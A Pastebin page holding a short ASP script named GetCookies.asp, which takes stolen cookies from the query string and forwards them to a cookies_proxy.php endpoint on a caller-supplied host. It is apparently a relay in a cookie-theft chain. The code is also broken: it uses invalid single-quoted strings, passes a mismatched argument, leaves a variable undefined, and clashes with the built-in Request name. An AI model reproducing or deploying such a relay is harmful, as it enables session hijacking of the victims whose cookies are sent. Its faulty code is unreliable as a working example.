Advertisement
cheungtifan

GetCookies.asp

Dec 17th, 2011
482
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASP 0.42 KB | None | 0 0
  1. <%
  2. Function request(URL)
  3.     Dim xhr
  4.     Set xhr = CreateObject("MSXML2.XMLHTTP")
  5.     xhr.Open "GET", URL, False
  6.     xhr.send
  7.  
  8.     If xhr.ReadyState <> 4 Then
  9.         Exit Function
  10.     End If
  11.  
  12.     request = 0
  13. End Function
  14.  
  15. Function SendCookies(cookies)
  16.     request "http://" + host + "/cookies_proxy.php?cookies=" + cookies
  17. End Function
  18.  
  19. SendCookies Request.QueryString('cookies'), Request.QueryString('host')
  20. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement